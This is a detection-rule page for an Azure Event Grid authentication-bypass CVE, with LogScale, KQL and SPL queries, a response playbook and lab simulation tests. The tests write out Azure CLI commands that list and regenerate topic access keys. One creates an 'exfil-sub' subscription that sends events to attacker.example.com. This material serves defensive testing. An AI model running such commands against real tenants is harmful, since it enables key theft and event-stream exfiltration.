Detect CVE-2026-62841: Azure Event Grid Improper Authentication Privilege Elevation in CrowdStrike LogScale
Detects exploitation attempts and indicators associated with CVE-2026-62841, a critical (CVSS 10.0) improper-authentication vulnerability (CWE-287) in Azure Event Grid that allows an unauthorized network attacker to elevate privileges. Detection focuses on anomalous Event Grid control-plane and data-plane activity in Azure Activity logs, Event Grid diagnostic logs, and Entra ID sign-in/service-principal telemetry: unauthenticated or anomalously-authenticated topic/subscription enumeration and modification, SAS/access-key regeneration, webhook subscription creation to attacker endpoints, and privilege changes on Event Grid resources. Because the exploit status is theoretical with no public PoC, the logic is behavior- and anomaly-based rather than signature-based.
MITRE ATT&CK
LogScale Detection Query
// df00tech DF00-01025f9565 · https://df00tech.com/detections/CVE-2026-62841 · licence: https://df00tech.com/detections/licence
#event_simpleName=/.*/
| cloud.provider="Azure"
| in(field="operationName", values=["*LISTKEYS*", "*REGENERATEKEY*", "*EVENTSUBSCRIPTIONS/WRITE*", "*TOPICS/WRITE*"], ignoreCase=true)
| operationName=/(?i)MICROSOFT\.EVENTGRID/
| resultType!="Failed"
| caller := coalesce([caller, identity.claims.upn])
| groupBy([caller, callerIpAddress], function=[count(as=op_count), collect([operationName, resourceId]), count(resourceId, distinct=true, as=resource_count)])
| resource_count >= 3 OR op_count >= 5
| sort(op_count, order=desc) CrowdStrike CQL (LogScale) query aggregating sensitive Azure Event Grid operations by caller/IP and alerting on multi-resource bursts or key regeneration events.
Data Sources
Required Tables
False Positives & Tuning
- IaC deployment identities.
- Scheduled key-rotation jobs.
- Routine bulk reconfiguration by platform service principals.
Other platforms for CVE-2026-62841
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Burst of Event Grid key-listing operations
Expected signal: AzureActivity entries with OperationNameValue MICROSOFT.EVENTGRID/TOPICS/LISTKEYS/ACTION for three distinct resources within one hour.
- Test 2 Regenerate Event Grid topic access key
Expected signal: AzureActivity entry MICROSOFT.EVENTGRID/TOPICS/REGENERATEKEY/ACTION with a success result.
- Test 3 Create event subscription to external webhook
Expected signal: AzureActivity entry MICROSOFT.EVENTGRID/TOPICS/EVENTSUBSCRIPTIONS/WRITE with an external webhook destination.
Response Playbook
Triage
- Identify the caller principal and source IP in the alert; determine whether it is a known human admin, a managed identity, or an unrecognized/unauthenticated identity. For CVE-2026-62841, pay special attention to operations that succeeded without a corresponding successful Entra ID authentication event.
- Correlate the Event Grid operations against Entra ID sign-in logs (SigninLogs / AADServicePrincipalSignInLogs) for the same timeframe, an auth-bypass exploit will show control-plane success with no matching interactive or service-principal sign-in.
- Enumerate the affected Event Grid topics, domains, and subscriptions; check whether any event subscriptions were created or modified to point at external/attacker-controlled webhook endpoints or storage/queue destinations.
- Determine whether LISTKEYS or REGENERATEKEY was invoked, if so, assume the topic access keys are compromised and treat all downstream publishers/subscribers as at risk.
Containment
- Regenerate all Event Grid topic/domain access keys and SAS tokens for affected resources to invalidate any keys the attacker may have exfiltrated.
- Delete or disable any unauthorized event subscriptions, especially those with webhook/WebHook or external destination endpoints created during the incident window.
- Apply Azure RBAC and resource locks to restrict Event Grid control-plane operations to a minimal set of trusted identities, and block the identified source IP(s) via network/Conditional Access policy.
- Apply the Microsoft security update referenced in the MSRC advisory to all affected Azure Event Grid resources/regions.
Evidence Collection
- Export the full AzureActivity and Event Grid diagnostic log entries for the affected resources and caller across the incident window, preserving operationName, caller, callerIpAddress, resourceId, and resultType.
- Capture the current and historical event subscription configurations (destination endpoints, delivery settings) for all affected topics/domains before remediating.
- Collect Entra ID sign-in and audit logs for the implicated identity and any service principals to establish whether authentication was bypassed or credentials were abused.
Escalation Criteria
- !Escalate to incident response immediately if key regeneration (REGENERATEKEY) or key listing (LISTKEYS) succeeded for an identity that cannot be tied to a legitimate authenticated session, indicating likely key compromise.
- !Escalate if event subscriptions were redirected to external endpoints, indicating active data exfiltration or event-stream hijacking.
- !Escalate to the cloud security and legal teams if sensitive event payloads (containing PII, secrets, or regulated data) may have been routed to attacker-controlled destinations.
Investigation Guide
Forensic Artifacts
- >
AzureActivity log entries for Microsoft.EventGrid operations (operationName, caller, callerIpAddress, resultType, resourceId). - >
Event Grid diagnostic logs (DeliveryFailures, PublishFailures) showing anomalous delivery destinations. - >
Entra ID SigninLogs / AADServicePrincipalSignInLogs correlated with the control-plane activity. - >
Event subscription destination endpoint configurations and their modification timestamps.
Tuning Guidance
Baseline the set of identities (particularly managed identities and deployment service principals) that legitimately perform Event Grid control-plane operations, and allowlist them from the burst thresholds. Tune the resource-count and operation-count thresholds to your environment's deployment cadence. Prioritize alerts where control-plane success has no matching Entra ID authentication, as that most directly reflects the improper-authentication root cause. Exclude known CI/CD source IP ranges from the source-IP-based correlation.
Hunting Queries
Hunts for Event Grid key regeneration/listing operations that lack a corresponding Entra ID sign-in (KQL leftanti join), a strong indicator of the CVE-2026-62841 authentication bypass.
// df00tech DF00-01025f9565 · https://df00tech.com/detections/CVE-2026-62841 · licence: https://df00tech.com/detections/licence
AzureActivity | where TimeGenerated > ago(30d) | where OperationNameValue has "MICROSOFT.EVENTGRID" and (OperationNameValue has "REGENERATEKEY" or OperationNameValue has "LISTKEYS") | join kind=leftanti (SigninLogs | where TimeGenerated > ago(30d) | project Caller=UserPrincipalName, SignInTime=TimeGenerated) on Caller | project TimeGenerated, Caller, CallerIpAddress, OperationNameValue, _ResourceId ``` df00tech DF00-01025f9565 · https://df00tech.com/detections/CVE-2026-62841 · licence: https://df00tech.com/detections/licence ```
index=azure sourcetype="mscs:azure:activity" operationName="MICROSOFT.EVENTGRID*" (operationName="*REGENERATEKEY*" OR operationName="*LISTKEYS*") | stats count values(resourceId) as resources by caller callerIpAddress operationName | sort - count Atomic Red Team Tests
Simulates an attacker enumerating access keys across multiple Event Grid topics to generate the LISTKEYS telemetry the detection keys on. Lab subscription only.
Command
for t in topic-a topic-b topic-c; do az eventgrid topic key list --name "$t" --resource-group rg-lab-eventgrid; done Cleanup
echo 'No cleanup required — key list is a read operation; rotate keys if desired: az eventgrid topic key regenerate --name topic-a --resource-group rg-lab-eventgrid --key-name key1' Expected Telemetry
AzureActivity entries with OperationNameValue MICROSOFT.EVENTGRID/TOPICS/LISTKEYS/ACTION for three distinct resources within one hour.
Expected Detection
The KQL/SPL burst rules fire on >=3 sensitive operations across >=3 resources by one caller.
Simulates post-exploit credential tampering by regenerating a topic access key, producing REGENERATEKEY telemetry. Lab subscription only.
Command
az eventgrid topic key regenerate --name topic-a --resource-group rg-lab-eventgrid --key-name key1 Cleanup
echo 'Key rotation is not reversible; regenerate the alternate key to restore known state if needed: az eventgrid topic key regenerate --name topic-a --resource-group rg-lab-eventgrid --key-name key2' Expected Telemetry
AzureActivity entry MICROSOFT.EVENTGRID/TOPICS/REGENERATEKEY/ACTION with a success result.
Expected Detection
All seven dialect rules flag the REGENERATEKEY operation as a high-signal key-compromise indicator.
Simulates an attacker hijacking the event stream by creating a subscription pointing at an external webhook endpoint, producing EVENTSUBSCRIPTIONS/WRITE telemetry. Lab subscription only.
Command
az eventgrid event-subscription create --name exfil-sub --source-resource-id $(az eventgrid topic show --name topic-a --resource-group rg-lab-eventgrid --query id -o tsv) --endpoint https://attacker.example.com/collect --endpoint-type webhook Cleanup
az eventgrid event-subscription delete --name exfil-sub --source-resource-id $(az eventgrid topic show --name topic-a --resource-group rg-lab-eventgrid --query id -o tsv) Expected Telemetry
AzureActivity entry MICROSOFT.EVENTGRID/TOPICS/EVENTSUBSCRIPTIONS/WRITE with an external webhook destination.
Expected Detection
The subscription-write component of the burst and sequence rules fires, especially when preceded by a LISTKEYS operation.